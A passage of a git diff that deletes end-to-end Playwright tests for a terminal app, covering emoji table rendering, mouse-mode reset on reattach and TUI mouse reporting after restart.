writeStdout(chunk) { - await new Promise((resolve) => { - process.stdout.write(chunk, resolve) - }) - if (process.platform === 'win32') { - await new Promise((resolve) => setTimeout(resolve, 8)) - } -} -async function writeStdoutLine(line) { - await writeStdout(line + '\\r\\n') -} -async function flushStdout() { - return new Promise((resolve) => { - process.stdout.write('', resolve) - }) -} -const parsedRows = table - .split(/\\r?\\n/) - .filter((row) => row.trim().startsWith('|') && !isSeparatorRow(row)) - .map(splitMarkdownRow) -const rendered = [rule(border.top)] -for (const [index, row] of parsedRows.entries()) { - rendered.push(renderRow(row)) - rendered.push(rule(index === parsedRows.length - 1 ? border.bottom : border.middle)) -} -await writeStdout('\\x1b[?2026h\\x1b[2J\\x1b[H') -for (const line of rendered) { - await writeStdoutLine(line) -} -await writeStdoutLine('${frameTailMarker}') -await writeStdout('\\x1b[?2026l') -await writeStdoutLine('${marker}') -await flushStdout() -` -} - -function rawEmojiFixtureCompletionMarker(runId: string): string { - return `RAW_EMOJI_FIXTURE_TABLE_RESTORE_${runId}` -} - -function rawEmojiFixtureFrameTailMarker(runId: string): string { - return `RAW_EMOJI_FIXTURE_TABLE_FRAME_TAIL_${runId}` -} - -async function setWideRenderedTableViewport(page: Page): Promise { - const isWindows = await page.evaluate(() => navigator.userAgent.includes('Windows')) - // Allow macOS font/column variance; Windows goldens use the stable native viewport. - await page.setViewportSize({ width: isWindows ? 1480 : 1760, height: 820 }) - await page.waitForTimeout(250) - await page.evaluate(() => { - const store = window.__store - if (store?.getState().rightSidebarOpen) { - store.getState().setRightSidebarOpen(false) - } - }) - await page.waitForTimeout(250) -} - -async function waitForActiveTerminalColumns( - page: Page, - minimumCols: number, - timeoutMs = 10_000 -): Promise { - await expect - .poll( - () => - page.evaluate(() => { - let pane: BrowserTerminalPane | null = null - try { - pane = (window as RawTableDebugWindow).getActiveTestPane?.() ?? null - } catch { - return 0 - } - return pane?.terminal.cols ?? 0 - }), - { - timeout: timeoutMs, - message: `active terminal did not resize to at least ${minimumCols} columns` - } - ) - .toBeGreaterThanOrEqual(minimumCols) -} - -async function readTerminalBoxTableWrapDiagnostics(page: Page): Promise<{ - cols: number - rows: number - baseY: number - viewportY: number - wrappedBoxLines: { index: number; text: string }[] - wrappedSingerContinuationLines: { index: number; text: string }[] - nearSinger: { index: number; isWrapped: boolean; text: string }[] -}> { - return page.evaluate(() => { - const pane = (window as RawTableDebugWindow).getActiveTestPane?.() - if (!pane) { - throw new Error('Active terminal pane unavailable') - } - const buffer = pane.terminal.buffer.active - const lineCount = buffer.baseY + buffer.length - const lines = Array.from({ length: lineCount }, (_, index) => { - const line = buffer.getLine(index) - return { - index, - isWrapped: line?.isWrapped === true, - text: line?.translateToString(true) ?? '' - } - }) - const wrappedBoxLines = lines - .filter((line) => line.isWrapped && /[┌┬┐├┼┤└┴┘│─]/.test(line.text)) - .slice(0, 20) - const wrappedSingerContinuationLines = lines - .filter((line) => line.isWrapped && /U\\+1F3A4|A stage performer|Talented/.test(line.text)) - .slice(0, 20) - const singerIndex = lines.findIndex((line) => line.text.includes('Singer')) - const nearSinger = - singerIndex === -1 ? [] : lines.slice(Math.max(0, singerIndex - 4), singerIndex + 7) - return { - cols: pane.terminal.cols, - rows: pane.terminal.rows, - baseY: buffer.baseY, - viewportY: buffer.viewportY, - wrappedBoxLines, - wrappedSingerContinuationLines, - nearSinger - } - }) -} - -async function readTerminalRightEdgeOverpaint(page: Page): Promise<{ - screenRight: number - offenderCount: number - offenders: { text: string; right: number; width: number }[] -}> { - return page.evaluate(() => { - const pane = (window as RawTableDebugWindow).getActiveTestPane?.() - if (!pane) { - throw new Error('Active terminal pane unavailable') - } - const screen = pane.container.querySelector('.xterm-screen') - const rows = pane.container.querySelector('.xterm-rows') - if (!screen) { - throw new Error('Active terminal DOM unavailable') - } - - const screenRect = screen.getBoundingClientRect() - if (!rows) { - // Check DOM-span overpaint only for DOM rendering; WebGL paints canvas, while buffer-wrap checks apply to both. - return { - screenRight: screenRect.right, - offenderCount: 0, - offenders: [] - } - } - - const cellWidth = pane.terminal._core?._renderService?.dimensions?.css?.cell?.width ?? 0 - const maxRight = screenRect.right + Math.max(1, cellWidth * 0.5) - const offenders = Array.from(rows.querySelectorAll('span')) - .map((span) => { - const rect = span.getBoundingClientRect() - return { - text: span.textContent ?? '', - right: rect.right, - width: rect.width - } - }) - .filter((span) => span.width > 0 && span.right > maxRight) - .slice(0, 12) - - return { - screenRight: screenRect.right, - offenderCount: offenders.length, - offenders - } - }) -} - -async function readVisibleSingerRowGeometry(page: Page): Promise<{ - cols: number - screenRight: number - rowRight: number - rowText: string -}> { - return page.evaluate(() => { - const pane = (window as RawTableDebugWindow).getActiveTestPane?.() - if (!pane) { - throw new Error('Active terminal pane unavailable') - } - const screen = pane.container.querySelector('.xterm-screen') - const rows = pane.container.querySelector('.xterm-rows') - if (!screen) { - throw new Error('Active terminal DOM unavailable') - } - const screenRect = screen.getBoundingClientRect() - const buffer = pane.terminal.buffer.active - const visibleLine = Array.from( - { length: pane.terminal.rows }, - (_, row) => buffer.getLine(buffer.viewportY + row)?.translateToString(true) ?? '' - ).find((text) => text.includes('Singer')) - const scrollbackLine = - visibleLine ?? - Array.from( - { length: buffer.baseY + buffer.length }, - (_, index) => buffer.getLine(index)?.translateToString(true) ?? '' - ).find((text) => text.includes('Singer')) - if (!scrollbackLine) { - throw new Error('Singer row buffer line unavailable') - } - const cellWidth = pane.terminal._core?._renderService?.dimensions?.css?.cell?.width ?? 0 - const bufferGeometry = { - cols: pane.terminal.cols, - screenRight: screenRect.right, - rowRight: screenRect.left + pane.terminal.cols * cellWidth, - rowText: scrollbackLine - } - if (!rows) { - return bufferGeometry - } - const row = Array.from(rows.children).find((element) => - (element.textContent ?? '').includes('Singer') - ) as HTMLElement | undefined - if (!row) { - // Use stable buffer right-edge bounds because DOM rows may repaint between scroll and measurement. - return bufferGeometry - } - const rowRect = row.getBoundingClientRect() - return { - cols: pane.terminal.cols, - screenRight: screenRect.right, - rowRight: rowRect.right, - rowText: row.textContent ?? '' - } - }) -} - -async function readTerminalRenderDiagnostics(page: Page): Promise<{ - hasWebgl: boolean - hasComplexScriptOutput: boolean - cursorHidden: boolean | null - terminalGpuAcceleration?: string - gpuRenderingEnabled?: boolean - webglAttachmentDeferred?: boolean - webglDisabledAfterContextLoss?: boolean - platform: string - userAgent: string - webgl2Available: boolean -}> { - return page.evaluate(() => { - const pane = (window as RawTableDebugWindow).getActiveTestPane?.() - if (!pane) { - throw new Error('Active terminal pane unavailable') - } - const terminalCore = pane.terminal._core - const canvas = document.createElement('canvas') - const store = window.__store - const state = store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const renderingDiagnostics = manager - ?.getRenderingDiagnostics() - .find((diagnostic) => diagnostic.paneId === pane.id) - return { - hasWebgl: renderingDiagnostics?.hasWebgl ?? false, - hasComplexScriptOutput: renderingDiagnostics?.hasComplexScriptOutput ?? false, - cursorHidden: terminalCore?.coreService?.isCursorHidden ?? null, - terminalGpuAcceleration: renderingDiagnostics?.terminalGpuAcceleration, - gpuRenderingEnabled: renderingDiagnostics?.gpuRenderingEnabled, - webglAttachmentDeferred: renderingDiagnostics?.webglAttachmentDeferred, - webglDisabledAfterContextLoss: renderingDiagnostics?.webglDisabledAfterContextLoss, - platform: navigator.platform, - userAgent: navigator.userAgent, - webgl2Available: canvas.getContext('webgl2') !== null - } - }) -} - -async function closeFeatureTips(page: Page): Promise { - await page.evaluate(() => { - const store = window.__store - store - ?.getState() - .markFeatureTipsSeen(['orca-cli', 'cmd-j-palette', 'voice-dictation', 'agent-session-search']) - if (store?.getState().activeModal === 'feature-tips') { - store.getState().closeModal() - } - }) -} - -async function expectAutoWebgl(page: Page): Promise { - return page.evaluate(() => { - const canvas = document.createElement('canvas') - const gl = canvas.getContext('webgl2') - if (!gl) { - return false - } - if (!navigator.platform.includes('Linux') && !navigator.userAgent.includes('Linux')) { - return true - } - const debugInfo = gl.getExtension('WEBGL_debug_renderer_info') - if (!debugInfo) { - return false - } - const renderer = String(gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) ?? '') - const vendor = String(gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) ?? '') - return !/\b(swiftshader|llvmpipe|softpipe|software rasterizer|software adapter|basic render|virgl|svga3d)\b/i.test( - `${vendor} ${renderer}` - ) - }) -} - -test.describe('Terminal raw emoji table scroll restore repro', () => { - test.beforeEach(async ({ orcaPage }) => { - await orcaPage.evaluate(() => { - ;(window as RawTableDebugWindow).getActiveTestPane = () => { - const store = window.__store - const state = store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('Active terminal pane unavailable') - } - return pane as BrowserTerminalPane - } - }) - }) - - // Require auto to start fast and the complex emoji golden to retain that renderer. - - // v1.4.51 minimal golden rejects one-scrollbar-column underfit and ZWJ emoji counted as width 4. - test('keeps raw emoji box table aligned after restore and scroll @terminal-rendering-golden', async ({ - orcaPage, - testRepoPath - }, testInfo: TestInfo) => { - await waitForSessionReady(orcaPage) - await closeFeatureTips(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'raw emoji table repro needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await setWideRenderedTableViewport(orcaPage) - await waitForActiveTerminalColumns(orcaPage, RAW_EMOJI_BOX_TABLE_WIDTH) - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-raw-emoji-fixture-table-${runId}.mjs`) - writeFileSync(scriptPath, rawEmojiFixtureBoxTableScript(EMOJI_TABLE_FIXTURE, runId)) - - try { - const completionMarker = rawEmojiFixtureCompletionMarker(runId) - const frameTailMarker = rawEmojiFixtureFrameTailMarker(runId) - // Use fixture-marker readiness; extra Ctrl+C/Ctrl+U can race ConPTY startup and consume input. - await sendToTerminal(orcaPage, ptyId, `${nodeTerminalCommand([scriptPath])}\r`) - // Wait out synchronized output before hiding: PowerShell prompt return can precede xterm flush, unrelated to restored geometry. - await waitForTerminalOutput(orcaPage, completionMarker, 20_000, 30_000) - await expect - .poll(() => getTerminalContent(orcaPage, 30_000), { - timeout: 10_000, - message: 'raw emoji table synchronized frame tail was not rendered' - }) - .toContain(frameTailMarker) - await switchToWorktree(orcaPage, secondWorktreeId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.waitForTimeout(1_000) - // Widen before worktree return so immediate replay cannot wrap the table. - await setWideRenderedTableViewport(orcaPage) - await switchToWorktree(orcaPage, firstWorktreeId) - // Keep the deliberate wide viewport despite worktree activation restoring the right sidebar. - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await setWideRenderedTableViewport(orcaPage) - await waitForActiveTerminalColumns(orcaPage, RAW_EMOJI_BOX_TABLE_WIDTH) - await expect - .poll(() => getTerminalContent(orcaPage, 30_000), { - timeout: 30_000, - message: 'raw emoji table marker did not survive workspace switch' - }) - .toContain(completionMarker) - - await scrollActiveTerminalToText(orcaPage, 'Singer') - await closeFeatureTips(orcaPage) - const expectedWebgl = await expectAutoWebgl(orcaPage) - // Wait for async WebGL reattach/backoff and transient cursorHidden after restore. - // Keep geometry/wrap/overpaint assertions single-shot as the regression signal. - let diagnostics = await readTerminalRenderDiagnostics(orcaPage) - await expect - .poll( - async () => { - diagnostics = await readTerminalRenderDiagnostics(orcaPage) - return diagnostics.hasWebgl === expectedWebgl && diagnostics.cursorHidden === false - }, - { - timeout: 15_000, - message: `terminal render diagnostics did not settle (expected hasWebgl=${expectedWebgl}, cursorHidden=false)` - } - ) - .toBe(true) - const overpaint = await readTerminalRightEdgeOverpaint(orcaPage) - const wrapDiagnostics = await readTerminalBoxTableWrapDiagnostics(orcaPage) - const singerGeometry = await readVisibleSingerRowGeometry(orcaPage) - testInfo.annotations.push({ - type: 'raw-emoji-table-singer-geometry', - description: JSON.stringify(singerGeometry) - }) - testInfo.annotations.push({ - type: 'raw-emoji-table-overpaint', - description: JSON.stringify(overpaint) - }) - testInfo.annotations.push({ - type: 'raw-emoji-table-wrap-diagnostics', - description: JSON.stringify(wrapDiagnostics) - }) - - const screenshotPath = testInfo.outputPath('raw-emoji-table-after-switch-scroll.png') - await orcaPage.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach('raw-emoji-table-after-switch-scroll.png', { - path: screenshotPath, - contentType: 'image/png' - }) - - expect(wrapDiagnostics.cols).toBeGreaterThanOrEqual(RAW_EMOJI_BOX_TABLE_WIDTH) - expect(diagnostics.hasComplexScriptOutput).toBe(false) - expect(diagnostics.hasWebgl).toBe(expectedWebgl) - expect(diagnostics.cursorHidden).toBe(false) - expect(overpaint.offenders).toEqual([]) - expect(wrapDiagnostics.wrappedBoxLines).toEqual([]) - expect(wrapDiagnostics.wrappedSingerContinuationLines).toEqual([]) - expect(singerGeometry.rowRight).toBeLessThanOrEqual(singerGeometry.screenRight + 1) - } finally { - rmSync(scriptPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-reattach-mouse-mode-leak.spec.ts b/tests/e2e/terminal-reattach-mouse-mode-leak.spec.ts deleted file mode 100644 index fdf246468a0..00000000000 --- a/tests/e2e/terminal-reattach-mouse-mode-leak.spec.ts +++ /dev/null @@ -1,229 +0,0 @@ -// #7329: unproven TUI death retains mouse modes in host rehydrate, but ordinary reattach must disarm them before shell use. -// Keep a real arming process alive across restart (no OSC 133;D grounding); require no tracking/class/motion reports after replay. -// Re-arm as a positive control. Serializer re-arm is pinned by repro-7329-remote-snapshot-corruption.test.ts; live-agent preservation by pty-connection.test.ts. - -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - discoverActivePtyId, - execInTerminal, - sendToTerminal, - waitForActiveTerminalManager, - waitForActivePanePtyId, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' - -// Serialize the shared-profile quit/relaunch so the surviving daemon and Electron lock have no competing app. -test.describe.configure({ mode: 'serial' }) - -test.describe('reattach mouse-mode leak', () => { - test('warm reattach disarms mouse modes a killed TUI left armed', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - // The arming fixture uses POSIX printf; reset logic itself is platform-independent. - test.skip(process.platform === 'win32', 'Uses a POSIX printf to arm mouse reporting') - - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - await attachRepoAndOpenTerminal(firstLaunch.page, repoPath) - await waitForSessionReady(firstLaunch.page) - await waitForActiveWorktree(firstLaunch.page) - await ensureTerminalVisible(firstLaunch.page) - - const hasPaneManager = await waitForActiveTerminalManager(firstLaunch.page, 30_000) - .then(() => true) - .catch(() => false) - test.skip( - !hasPaneManager, - 'Electron automation in this environment never mounts the TerminalPane manager.' - ) - await waitForPaneCount(firstLaunch.page, 1, 30_000) - const ptyId = await discoverActivePtyId(firstLaunch.page) - - // Require arithmetic command execution, beyond echo; skip sandbox PTYs with no executing shell rather than misdiagnose reset. - await execInTerminal(firstLaunch.page, ptyId, 'echo ORCA_MOUSE_READY_$((21+21))') - const shellExecutes = await waitForTerminalOutput( - firstLaunch.page, - 'ORCA_MOUSE_READY_42', - 15_000 - ) - .then(() => true) - .catch(() => false) - test.skip(!shellExecutes, 'PTY shell does not execute commands in this environment') - - // printf’s literal backslashes arm xterm only on execution; keep the process alive so OSC 133;D cannot ground modes before reattach. - await execInTerminal(firstLaunch.page, ptyId, `printf '\\033[?1003h\\033[?1006h'; sleep 120`) - - // Require live mouse arming before restart; repro-7329 units pin host rehydrate, while this arm pins reset. - await expect - .poll( - async () => - firstLaunch.page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.terminal.modes.mouseTrackingMode ?? null - }), - { - timeout: 15_000, - message: - 'printf never armed mouse reporting in the live pane; leak precondition not met' - } - ) - .toBe('any') - - // app.close saves/disconnects but leaves the detached daemon’s PTY and armed modes alive. - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - await waitForActiveWorktree(secondLaunch.page) - await ensureTerminalVisible(secondLaunch.page) - await waitForActiveTerminalManager(secondLaunch.page, 30_000) - await waitForPaneCount(secondLaunch.page, 1, 30_000) - // Live output is released only after reattach replay has finished. - const reattachedPtyId = await waitForActivePanePtyId(secondLaunch.page) - - // Poll for reset after rehydrate re-arms the still-running program’s modes. - await expect - .poll( - async () => - secondLaunch.page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.terminal.modes.mouseTrackingMode ?? null - }), - { - timeout: 15_000, - message: 'Reattached pane never disarmed the leaked mouse-tracking mode' - } - ) - .toBe('none') - - await sendToTerminal(secondLaunch.page, reattachedPtyId, '\x03') - await execInTerminal(secondLaunch.page, reattachedPtyId, 'echo ORCA_REATTACHED_$((21+21))') - await waitForTerminalOutput(secondLaunch.page, 'ORCA_REATTACHED_42', 15_000) - - // Require no motion reports after reattach, then re-arm and require reports from the same probe. - const probe = await secondLaunch.page.evaluate(async () => { - // Match unambiguous ESC [ < report prefix without a control-character regex. - const isMouseReport = (data: string): boolean => data.includes('\x1b[<') - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane?.terminal.element) { - throw new Error('Active terminal pane unavailable') - } - const screen = pane.terminal.element.querySelector('.xterm-screen') - if (!screen) { - throw new Error('Active terminal screen unavailable') - } - - const reports: string[] = [] - const disposable = pane.terminal.onData((data) => reports.push(data)) - const dispatchMotion = async (): Promise => { - const rect = screen.getBoundingClientRect() - for (const fraction of [0.15, 0.3, 0.45, 0.6, 0.75, 0.9]) { - screen.dispatchEvent( - new MouseEvent('mousemove', { - bubbles: true, - cancelable: true, - clientX: rect.left + rect.width * fraction, - clientY: rect.top + rect.height * 0.5 - }) - ) - await new Promise((resolve) => setTimeout(resolve, 15)) - } - } - const motionReports = (): string[] => reports.filter(isMouseReport) - - try { - // Phase A: post-reattach, mouse must be disarmed → no reports. - await dispatchMotion() - const afterReattach = { - mode: pane.terminal.modes.mouseTrackingMode, - hasEnableMouseClass: pane.terminal.element.classList.contains('enable-mouse-events'), - reports: motionReports().length - } - - // Phase B: positive control — re-arm and confirm the probe sees reports. - reports.length = 0 - await new Promise((resolve) => - pane.terminal.write('\x1b[?1003h\x1b[?1006h', () => resolve()) - ) - // Poll frames with motion because class/listener binding shares an async protocol-change pass. - let classAfterArm = false - let armedReports = 0 - for (let attempt = 0; attempt < 40 && armedReports === 0; attempt += 1) { - await new Promise((resolve) => requestAnimationFrame(() => resolve(undefined))) - classAfterArm = - classAfterArm || pane.terminal.element.classList.contains('enable-mouse-events') - await dispatchMotion() - armedReports = motionReports().length - } - - return { - afterReattach, - classAfterArm, - armedReports - } - } finally { - disposable.dispose() - } - }) - - expect(probe.afterReattach.mode).toBe('none') - expect(probe.afterReattach.hasEnableMouseClass).toBe(false) - expect(probe.afterReattach.reports).toBe(0) - expect(probe.classAfterArm).toBe(true) - expect(probe.armedReports).toBeGreaterThan(0) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } - }) -}) diff --git a/tests/e2e/terminal-reattach-tui-mouse-mode.spec.ts b/tests/e2e/terminal-reattach-tui-mouse-mode.spec.ts deleted file mode 100644 index 2b674324d29..00000000000 --- a/tests/e2e/terminal-reattach-tui-mouse-mode.spec.ts +++ /dev/null @@ -1,240 +0,0 @@ -// #8291: after quit/relaunch, real alt-screen TUI drag/wheel must remain mouse reports rather than xterm row selection. - -import { execFileSync } from 'node:child_process' -import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - execInTerminal, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' - -const VISIBLE_TUI_FIXTURE_PATH = path.join( - process.cwd(), - 'tests/e2e/fixtures/visible-tui-scroll-fixture.cjs' -) - -// Send the fixture’s wheel-down report; only post-relaunch bytes can repaint offset=1, fencing replay/reset completion. -const WHEEL_DOWN_REPORT = '\x1b[<65;10;10M' - -// Own the seed repo: concurrent globalTeardown can delete the machine-global pointer’s repo mid-restart. -function createIsolatedProofRepo(): string { - // Why realpathSync: macOS tmpdir symlinks through /private and Orca canonicalizes repo.path. - const repoDir = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-mouse-reattach-repo-'))) - const git = (...args: string[]): void => { - execFileSync('git', args, { cwd: repoDir, stdio: 'pipe' }) - } - git('init', '-q') - git('config', 'user.email', 'e2e@test.local') - git('config', 'user.name', 'E2E Test') - writeFileSync(path.join(repoDir, 'README.md'), '# Orca mouse-mode reattach proof repo\n') - git('add', '-A') - git('commit', '-q', '-m', 'Seed commit for the reattach mouse-mode proof') - return repoDir -} - -type TerminalSurface = { - mouseEventsClass: boolean - mouseTrackingMode: string - hasSelection: boolean - selectionText: string - visibleText: string - screen: { left: number; top: number; width: number; height: number; cellHeight: number } -} - -// Flush xterm’s write queue and sample in one evaluate to avoid mid-replay mode/selection reads. -async function readTerminalSurface(page: Page): Promise { - return page.evaluate(async () => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const element = pane?.terminal?.element ?? null - const screenElement = element?.querySelector('.xterm-screen') ?? null - if (!pane || !element || !screenElement) { - return null - } - // An empty write callback fences all earlier FIFO replay/reset writes. - await new Promise((resolve) => { - const timer = setTimeout(resolve, 3000) - pane.terminal.write('', () => { - clearTimeout(timer) - resolve() - }) - }) - const buffer = pane.terminal.buffer.active - const lines: string[] = [] - for (let row = 0; row < pane.terminal.rows; row += 1) { - lines.push(buffer.getLine(buffer.viewportY + row)?.translateToString(true) ?? '') - } - const rect = screenElement.getBoundingClientRect() - return { - mouseEventsClass: element.classList.contains('enable-mouse-events'), - mouseTrackingMode: String(pane.terminal.modes?.mouseTrackingMode ?? 'unavailable'), - hasSelection: pane.terminal.hasSelection(), - selectionText: pane.terminal.getSelection(), - visibleText: lines.join('\n'), - screen: { - left: rect.left, - top: rect.top, - width: rect.width, - height: rect.height, - cellHeight: rect.height / Math.max(1, pane.terminal.rows) - } - } - }) -} - -async function waitForTerminalSurface( - page: Page, - predicate: (surface: TerminalSurface) => boolean, - message: string, - timeoutMs = 30_000 -): Promise { - await expect - .poll( - async () => { - const surface = await readTerminalSurface(page) - return surface !== null && predicate(surface) - }, - { timeout: timeoutMs, message } - ) - .toBe(true) - const surface = await readTerminalSurface(page) - if (!surface) { - throw new Error(`${message}: terminal surface disappeared after settling`) - } - return surface -} - -function readRenderedTuiOffset(visibleText: string): number | null { - const match = /TUI_SCROLL_READY offset=(\d+)/.exec(visibleText) - return match ? Number(match[1]) : null -} - -/** Real CDP drag across three TUI rows — the gesture from the bug report. */ -async function dragAcrossTuiRows(page: Page, screen: TerminalSurface['screen']): Promise { - const startX = screen.left + Math.min(24, screen.width / 4) - const startY = screen.top + screen.cellHeight * 2.5 - const endX = screen.left + screen.width * 0.6 - const endY = startY + screen.cellHeight * 3 - await page.mouse.move(startX, startY) - await page.mouse.down() - await page.mouse.move(endX, endY, { steps: 12 }) - await page.mouse.up() -} - -// Relaunch the same profile while its daemon and TUI remain alive. -test.describe.configure({ mode: 'serial' }) - -test.describe('terminal reattach mouse mode', () => { - test('live TUI keeps mouse tracking after an app restart reattach instead of falling back to drag selection', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - const repoPath = createIsolatedProofRepo() - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - await attachRepoAndOpenTerminal(firstLaunch.page, repoPath) - await waitForSessionReady(firstLaunch.page) - await waitForActiveWorktree(firstLaunch.page) - await ensureTerminalVisible(firstLaunch.page) - await waitForActiveTerminalManager(firstLaunch.page, 30_000) - await waitForPaneCount(firstLaunch.page, 1, 30_000) - - const firstPtyId = await waitForActivePanePtyId(firstLaunch.page) - await execInTerminal( - firstLaunch.page, - firstPtyId, - `node ${JSON.stringify(VISIBLE_TUI_FIXTURE_PATH)}` - ) - - const beforeRestart = await waitForTerminalSurface( - firstLaunch.page, - (surface) => - surface.visibleText.includes('TUI_SCROLL_READY') && surface.mouseEventsClass === true, - 'TUI fixture never armed mouse reporting before the restart' - ) - expect(beforeRestart.mouseTrackingMode).toBe('any') - - // Closing the app leaves the detached daemon’s PTY/TUI alive. - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - await waitForActiveWorktree(secondLaunch.page) - await ensureTerminalVisible(secondLaunch.page) - await waitForActiveTerminalManager(secondLaunch.page, 30_000) - await waitForPaneCount(secondLaunch.page, 1, 30_000) - await secondLaunch.page.evaluate(() => - window.__store?.getState().updateSettings({ terminalTuiScrollSensitivity: 1 }) - ) - - // Require the wheel beacon’s offset=1 repaint to prove replay/reset completion without sleep. - const secondPtyId = await waitForActivePanePtyId(secondLaunch.page) - await sendToTerminal(secondLaunch.page, secondPtyId, WHEEL_DOWN_REPORT) - const afterReattach = await waitForTerminalSurface( - secondLaunch.page, - (surface) => readRenderedTuiOffset(surface.visibleText) === 1, - 'Reattached pane never rendered the live TUI repaint after the restart' - ) - - await dragAcrossTuiRows(secondLaunch.page, afterReattach.screen) - const afterDrag = await readTerminalSurface(secondLaunch.page) - // Capture a screenshot: restart prevents video WebM flush; the frame must show no row-selection overlay on the live TUI. - const proofShot = process.env.ORCA_E2E_PROOF_SCREENSHOT - if (proofShot) { - await secondLaunch.page.screenshot({ path: proofShot }) - } - expect(afterDrag, 'terminal surface unavailable after the drag').not.toBeNull() - expect( - afterDrag!.selectionText, - 'dragging over a live mouse-tracking TUI must not paint xterm row selection' - ).toBe('') - expect(afterDrag!.hasSelection).toBe(false) - - const wheelTargetX = afterReattach.screen.left + afterReattach.screen.width / 2 - const wheelTargetY = afterReattach.screen.top + afterReattach.screen.height / 2 - await secondLaunch.page.mouse.move(wheelTargetX, wheelTargetY) - for (let i = 0; i < 5; i += 1) { - await secondLaunch.page.mouse.wheel(0, Math.min(49, afterReattach.screen.cellHeight)) - } - const afterWheel = await waitForTerminalSurface( - secondLaunch.page, - (surface) => (readRenderedTuiOffset(surface.visibleText) ?? 0) > 1, - 'Wheel gestures never reached the reattached TUI — its rendered offset row never advanced', - 15_000 - ) - expect(readRenderedTuiOffset(afterWheel.visibleText)).toBeGreaterThan(1) - expect(afterWheel.mouseEventsClass).toBe(true) - expect(afterWheel.mouseTrackingMode).toBe('any') - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - rmSync(repoPath, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-replay-presentation.spec.ts b/tests/e2e/terminal-replay-presentation.spec.ts deleted file mode 100644 index 18557cd22c3..00000000000 --- 